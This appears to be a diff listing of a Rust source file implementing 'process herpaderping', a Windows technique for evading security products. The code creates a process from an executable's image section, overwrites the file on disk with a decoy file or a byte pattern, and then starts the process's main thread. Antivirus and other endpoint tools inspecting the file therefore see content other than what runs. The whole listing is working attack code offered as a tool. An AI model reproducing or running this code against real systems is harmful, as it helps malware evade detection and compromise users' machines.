| 1 | + | mod utils; |
| 2 | + | |
| 3 | + | use ntapi::{ |
| 4 | + | ntpebteb::PEB, |
| 5 | + | ntpsapi::{ |
| 6 | + | NtCreateThreadEx, NtCurrentPeb, NtCurrentProcess, PROCESS_CREATE_FLAGS_INHERIT_HANDLES, |
| 7 | + | }, |
| 8 | + | winapi::{ |
| 9 | + | shared::ntdef::NT_SUCCESS, |
| 10 | + | um::winnt::{PAGE_READONLY, PVOID}, |
| 11 | + | }, |
| 12 | + | }; |
| 13 | + | use std::{ffi::c_void, ptr::null_mut}; |
| 14 | + | use utils::{write_file_flushed, NtCreateProcessEx, NtCreateSection}; |
| 15 | + | use windows_sys::Win32::{ |
| 16 | + | Foundation::{ |
| 17 | + | CloseHandle, GetLastError, FALSE, FARPROC, GENERIC_READ, GENERIC_WRITE, HANDLE, |
| 18 | + | INVALID_HANDLE_VALUE, |
| 19 | + | }, |
| 20 | + | Storage::FileSystem::{ |
| 21 | + | CreateFileW, ReadFile, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FILE_BEGIN, FILE_SHARE_DELETE, |
| 22 | + | FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, |
| 23 | + | }, |
| 24 | + | System::{ |
| 25 | + | Diagnostics::Debug::ReadProcessMemory, |
| 26 | + | LibraryLoader::{GetModuleHandleA, GetProcAddress}, |
| 27 | + | Memory::{SECTION_ALL_ACCESS, SEC_IMAGE}, |
| 28 | + | Threading::{ |
| 29 | + | TerminateProcess, WaitForSingleObject, INFINITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, |
| 30 | + | }, |
| 31 | + | }, |
| 32 | + | }; |
| 33 | + | |
| 34 | + | const PATTERN: [u8; 2] = [0x41, 0x48]; // "AH" |
| 35 | + | |
| 36 | + | pub unsafe fn herpaderping( |
| 37 | + | source_filename: &str, |
| 38 | + | target_filename: &str, |
| 39 | + | replace_with_filename: &Option<String>, |
| 40 | + | ) { |
| 41 | + | log::info!("Source File: {}", source_filename); |
| 42 | + | log::info!("Target File: {}", target_filename); |
| 43 | + | |
| 44 | + | let source_handle = match get_source_file_handle(source_filename) { |
| 45 | + | Ok(handle) => handle, |
| 46 | + | Err(err) => panic!("CreateFileW for source error: {}", err), |
| 47 | + | }; |
| 48 | + | |
| 49 | + | // Creating a empty target exe to write src here further |
| 50 | + | let target_handle = match create_target_and_get_handle(target_filename) { |
| 51 | + | Ok(handle) => handle, |
| 52 | + | Err(err) => { |
| 53 | + | CloseHandle(source_handle); |
| 54 | + | panic!("CreateFileW for target error: {}", err); |
| 55 | + | } |
| 56 | + | }; |
| 57 | + | |
| 58 | + | log::info!("Target file created, handles to source file and target file retrieved"); |
| 59 | + | |
| 60 | + | // Write source file to target file |
| 61 | + | if let Err(err) = write_source_to_target(source_handle, target_handle) { |
| 62 | + | CloseHandle(source_handle); |
| 63 | + | CloseHandle(target_handle); |
| 64 | + | panic!("Reading / writing source to target error: {}", err); |
| 65 | + | } |
| 66 | + | |
| 67 | + | log::info!("Source file written to target file"); |
| 68 | + | |
| 69 | + | // No needed anymore |
| 70 | + | CloseHandle(source_handle); |
| 71 | + | |
| 72 | + | let target_process_handle = match create_target_process(target_handle) { |
| 73 | + | Ok(handle) => handle, |
| 74 | + | Err(err) => { |
| 75 | + | CloseHandle(target_handle); |
| 76 | + | panic!("Create process for target failed: {}", err); |
| 77 | + | } |
| 78 | + | }; |
| 79 | + | |
| 80 | + | log::info!("Target process created"); |
| 81 | + | |
| 82 | + | let image_entry_point_rva = match utils::get_image_entry_point_rva(target_handle) { |
| 83 | + | Ok(rva) => rva, |
| 84 | + | Err(err) => { |
| 85 | + | CloseHandle(target_process_handle); |
| 86 | + | TerminateProcess(target_process_handle, 0); |
| 87 | + | CloseHandle(target_handle); |
| 88 | + | panic!("Image entry point RVA error: {}", err); |
| 89 | + | } |
| 90 | + | }; |
| 91 | + | |
| 92 | + | match replace_with_filename { |
| 93 | + | Some(replace_filename) => { |
| 94 | + | if let Err(err) = overwrite_target_with_replace_file(target_handle, &replace_filename) { |
| 95 | + | CloseHandle(target_process_handle); |
| 96 | + | TerminateProcess(target_process_handle, 0); |
| 97 | + | CloseHandle(target_handle); |
| 98 | + | panic!("Writing replace exe to target error: {}", err); |
| 99 | + | } |
| 100 | + | log::info!("Target file was replaced by file: {}", replace_filename); |
| 101 | + | } |
| 102 | + | None => { |
| 103 | + | if let Err(err) = overwrite_target_with_pattern(target_handle, PATTERN.as_slice()) { |
| 104 | + | CloseHandle(target_process_handle); |
| 105 | + | TerminateProcess(target_process_handle, 0); |
| 106 | + | CloseHandle(target_handle); |
| 107 | + | panic!("Writing pattern to target error: {}", err); |
| 108 | + | } |
| 109 | + | log::info!("Target file was replaced by pattern"); |
| 110 | + | } |
| 111 | + | } |
| 112 | + | |
| 113 | + | let thread_handle = match create_and_run_thread_in_target( |
| 114 | + | target_filename, |
| 115 | + | target_process_handle, |
| 116 | + | image_entry_point_rva, |
| 117 | + | ) { |
| 118 | + | Ok(handle) => handle, |
| 119 | + | Err(err) => { |
| 120 | + | CloseHandle(target_process_handle); |
| 121 | + | TerminateProcess(target_process_handle, 0); |
| 122 | + | CloseHandle(target_handle); |
| 123 | + | panic!( |
| 124 | + | "Creating and starting main thread in target process error: {}", |
| 125 | + | err |
| 126 | + | ); |
| 127 | + | } |
| 128 | + | }; |
| 129 | + | |
| 130 | + | log::info!("Main thread in target process started. Waiting until the process is finished"); |
| 131 | + | |
| 132 | + | WaitForSingleObject(target_process_handle, INFINITE); |
| 133 | + | |
| 134 | + | log::info!("Process herpaderping is over :D"); |
| 135 | + | |
| 136 | + | CloseHandle(thread_handle); |
| 137 | + | CloseHandle(target_process_handle); |
| 138 | + | CloseHandle(target_handle); |
| 139 | + | } |
| 140 | + | |
| 141 | + | unsafe fn get_source_file_handle(source_filename: &str) -> Result<HANDLE, u32> { |
| 142 | + | let wide_source = utils::str_to_widestring(source_filename); |
| 143 | + | let source_handle = CreateFileW( |
| 144 | + | wide_source.as_ptr(), |
| 145 | + | GENERIC_READ, |
| 146 | + | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, |
| 147 | + | null_mut(), |
| 148 | + | OPEN_EXISTING, |
| 149 | + | FILE_ATTRIBUTE_NORMAL, |
| 150 | + | 0, |
| 151 | + | ); |
| 152 | + | |
| 153 | + | if source_handle == INVALID_HANDLE_VALUE { |
| 154 | + | return Err(GetLastError()); |
| 155 | + | } |
| 156 | + | |
| 157 | + | #[cfg(feature = "debug")] |
| 158 | + | log::debug!("Source file handle: {}", source_handle); |
| 159 | + | |
| 160 | + | return Ok(source_handle); |
| 161 | + | } |
| 162 | + | |
| 163 | + | unsafe fn create_target_and_get_handle(target_filename: &str) -> Result<HANDLE, u32> { |
| 164 | + | let wide_target = utils::str_to_widestring(target_filename); |
| 165 | + | let target_handle = CreateFileW( |
| 166 | + | wide_target.as_ptr(), |
| 167 | + | GENERIC_READ | GENERIC_WRITE, |
| 168 | + | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, |
| 169 | + | null_mut(), |
| 170 | + | CREATE_ALWAYS, |
| 171 | + | FILE_ATTRIBUTE_NORMAL, |
| 172 | + | 0, |
| 173 | + | ); |
| 174 | + | |
| 175 | + | if target_handle == INVALID_HANDLE_VALUE { |
| 176 | + | return Err(GetLastError()); |
| 177 | + | } |
| 178 | + | |
| 179 | + | #[cfg(feature = "debug")] |
| 180 | + | log::debug!("Target file handle: {}", target_handle); |
| 181 | + | |
| 182 | + | return Ok(target_handle); |
| 183 | + | } |
| 184 | + | |
| 185 | + | /// Writes source file to target file. |
| 186 | + | /// |
| 187 | + | /// If successful - written bytes returns, else GetLastError() result. |
| 188 | + | unsafe fn write_source_to_target(source_handle: HANDLE, target_handle: HANDLE) -> Result<u32, u32> { |
| 189 | + | let source_file_size = utils::get_file_size(source_handle)?; |
| 190 | + | |
| 191 | + | #[cfg(feature = "debug")] |
| 192 | + | { |
| 193 | + | let target_file_size = utils::get_file_size(target_handle)?; |
| 194 | + | log::debug!("Source file size: {}", source_file_size); |
| 195 | + | log::debug!("Target file size before writing: {}", target_file_size); |
| 196 | + | } |
| 197 | + | |
| 198 | + | utils::set_file_pointer(source_handle, 0, FILE_BEGIN)?; |
| 199 | + | |
| 200 | + | let mut source_content_buffer: Vec<u8> = vec![0; source_file_size as usize]; |
| 201 | + | let ptr_source_content_buffer = source_content_buffer.as_mut_ptr() as *mut c_void; |
| 202 | + | |
| 203 | + | if ReadFile( |
| 204 | + | source_handle, |
| 205 | + | ptr_source_content_buffer, |
| 206 | + | source_file_size as u32, |
| 207 | + | null_mut(), |
| 208 | + | null_mut(), |
| 209 | + | ) == 0 |
| 210 | + | { |
| 211 | + | let err = GetLastError(); |
| 212 | + | return Err(err); |
| 213 | + | } |
| 214 | + | |
| 215 | + | #[cfg(feature = "debug")] |
| 216 | + | log::debug!( |
| 217 | + | "Content buffer size after reading source file: {}", |
| 218 | + | source_content_buffer.len() |
| 219 | + | ); |
| 220 | + | |
| 221 | + | let bytes_written = write_file_flushed( |
| 222 | + | target_handle, |
| 223 | + | &source_content_buffer, |
| 224 | + | source_file_size as u32, |
| 225 | + | )?; |
| 226 | + | |
| 227 | + | return Ok(bytes_written); |
| 228 | + | } |
| 229 | + | |
| 230 | + | unsafe fn create_target_process(target_handle: HANDLE) -> Result<HANDLE, u32> { |
| 231 | + | let ntdll = GetModuleHandleA("ntdll.dll\0".as_ptr()); |
| 232 | + | let nt_create_section_func = std::mem::transmute::<FARPROC, NtCreateSection>(GetProcAddress( |
| 233 | + | ntdll, |
| 234 | + | "NtCreateSection\0".as_ptr(), |
| 235 | + | )); |
| 236 | + | |
| 237 | + | let nt_create_process_ex_func = std::mem::transmute::<FARPROC, NtCreateProcessEx>( |
| 238 | + | GetProcAddress(ntdll, "NtCreateProcessEx\0".as_ptr()), |
| 239 | + | ); |
| 240 | + | |
| 241 | + | let mut section_handle: HANDLE = 0; |
| 242 | + | let ntstatus = nt_create_section_func( |
| 243 | + | &mut section_handle as *mut HANDLE, |
| 244 | + | SECTION_ALL_ACCESS, |
| 245 | + | null_mut(), |
| 246 | + | null_mut(), |
| 247 | + | PAGE_READONLY, |
| 248 | + | SEC_IMAGE, |
| 249 | + | target_handle, |
| 250 | + | ); |
| 251 | + | if !NT_SUCCESS(ntstatus) { |
| 252 | + | return Err(ntstatus as u32); |
| 253 | + | } |
| 254 | + | |
| 255 | + | #[cfg(feature = "debug")] |
| 256 | + | log::debug!("Section handler: {}", section_handle); |
| 257 | + | |
| 258 | + | let mut process_handle: HANDLE = 0; |
| 259 | + | let ntstatus = nt_create_process_ex_func( |
| 260 | + | &mut process_handle as *mut HANDLE, |
| 261 | + | PROCESS_ALL_ACCESS, |
| 262 | + | null_mut(), |
| 263 | + | NtCurrentProcess as isize, |
| 264 | + | PROCESS_CREATE_FLAGS_INHERIT_HANDLES, |
| 265 | + | section_handle, |
| 266 | + | null_mut(), |
| 267 | + | null_mut(), |
| 268 | + | FALSE, |
| 269 | + | ); |
| 270 | + | if !NT_SUCCESS(ntstatus) { |
| 271 | + | CloseHandle(section_handle); |
| 272 | + | return Err(ntstatus as u32); |
| 273 | + | } |
| 274 | + | |
| 275 | + | #[cfg(feature = "debug")] |
| 276 | + | log::debug!("Process handler: {}", process_handle); |
| 277 | + | |
| 278 | + | CloseHandle(section_handle); |
| 279 | + | return Ok(process_handle); |
| 280 | + | } |
| 281 | + | |
| 282 | + | unsafe fn overwrite_target_with_replace_file( |
| 283 | + | target_handle: HANDLE, |
| 284 | + | replace_filename: &str, |
| 285 | + | ) -> Result<(), u32> { |
| 286 | + | let replace_filename_handle = get_source_file_handle(replace_filename)?; |
| 287 | + | |
| 288 | + | if replace_filename_handle == INVALID_HANDLE_VALUE || replace_filename_handle == 0 { |
| 289 | + | return Err(GetLastError()); |
| 290 | + | } |
| 291 | + | |
| 292 | + | #[cfg(feature = "debug")] |
| 293 | + | log::debug!("Replace filename handle: {}", replace_filename_handle); |
| 294 | + | |
| 295 | + | write_source_to_target(replace_filename_handle, target_handle)?; |
| 296 | + | |
| 297 | + | CloseHandle(replace_filename_handle); |
| 298 | + | |
| 299 | + | Ok(()) |
| 300 | + | } |
| 301 | + | |
| 302 | + | unsafe fn overwrite_target_with_pattern(target_handle: HANDLE, pattern: &[u8]) -> Result<(), u32> { |
| 303 | + | let target_file_size = utils::get_file_size(target_handle)?; |
| 304 | + | let buffer_with_pattern = utils::fill_buffer_with_pattern(pattern, target_file_size as usize); |
| 305 | + | |
| 306 | + | let mut _bytes_written = 0; |
| 307 | + | |
| 308 | + | write_file_flushed( |
| 309 | + | target_handle, |
| 310 | + | &buffer_with_pattern, |
| 311 | + | buffer_with_pattern.len() as u32, |
| 312 | + | )?; |
| 313 | + | |
| 314 | + | Ok(()) |
| 315 | + | } |
| 316 | + | |
| 317 | + | unsafe fn create_and_run_thread_in_target( |
| 318 | + | target_filename: &str, |
| 319 | + | target_process_handle: HANDLE, |
| 320 | + | image_entry_point_rva: u32, |
| 321 | + | ) -> Result<HANDLE, i32> { |
| 322 | + | let pbi = utils::get_process_basic_info(target_process_handle)?; |
| 323 | + | let mut peb = std::mem::zeroed::<PEB>(); |
| 324 | + | |
| 325 | + | #[cfg(feature = "debug")] |
| 326 | + | log::debug!("PEB base address: {:p}", pbi.PebBaseAddress); |
| 327 | + | |
| 328 | + | if ReadProcessMemory( |
| 329 | + | target_process_handle, |
| 330 | + | pbi.PebBaseAddress as *mut c_void, |
| 331 | + | &mut peb as *mut PEB as *mut c_void, |
| 332 | + | std::mem::size_of::<PEB>(), |
| 333 | + | null_mut(), |
| 334 | + | ) == 0 |
| 335 | + | { |
| 336 | + | return Err(GetLastError() as i32); |
| 337 | + | } |
| 338 | + | |
| 339 | + | let command_line = format!("\"{}\"", target_filename); |
| 340 | + | let desktop_info = "WinSta0\\Default"; |
| 341 | + | |
| 342 | + | utils::write_remote_process_parameters( |
| 343 | + | target_process_handle, |
| 344 | + | target_filename, |
| 345 | + | None, |
| 346 | + | None, |
| 347 | + | Some(&command_line[..]), |
| 348 | + | (*(*NtCurrentPeb()).ProcessParameters).Environment, |
| 349 | + | Some(target_filename), |
| 350 | + | Some(desktop_info), |
| 351 | + | None, |
| 352 | + | None, |
| 353 | + | )?; |
| 354 | + | |
| 355 | + | // |
| 356 | + | // Create the initial thread, when this first thread is inserted the |
| 357 | + | // process create callback will fire in the kernel. |
| 358 | + | // |
| 359 | + | let remote_entry_point = |
| 360 | + | (peb.ImageBaseAddress as usize + image_entry_point_rva as usize) as PVOID; |
| 361 | + | |
| 362 | + | #[cfg(feature = "debug")] |
| 363 | + | log::debug!("Remote entry point address: {:p}", remote_entry_point); |
| 364 | + | |
| 365 | + | let mut thread_handle = null_mut(); |
| 366 | + | let ntstatus = NtCreateThreadEx( |
| 367 | + | &mut thread_handle, |
| 368 | + | THREAD_ALL_ACCESS, |
| 369 | + | null_mut(), |
| 370 | + | target_process_handle as *mut ntapi::winapi::ctypes::c_void, |
| 371 | + | remote_entry_point, |
| 372 | + | null_mut(), |
| 373 | + | 0, |
| 374 | + | 0, |
| 375 | + | 0, |
| 376 | + | 0, |
| 377 | + | null_mut(), |
| 378 | + | ); |
| 379 | + | |
| 380 | + | if !NT_SUCCESS(ntstatus) { |
| 381 | + | return Err(ntstatus); |
| 382 | + | } |
| 383 | + | |
| 384 | + | #[cfg(feature = "debug")] |
| 385 | + | log::debug!("Started thread handle: {}", thread_handle as HANDLE); |
| 386 | + | |
| 387 | + | Ok(thread_handle as HANDLE) |
| 388 | + | } |
| 389 | + | |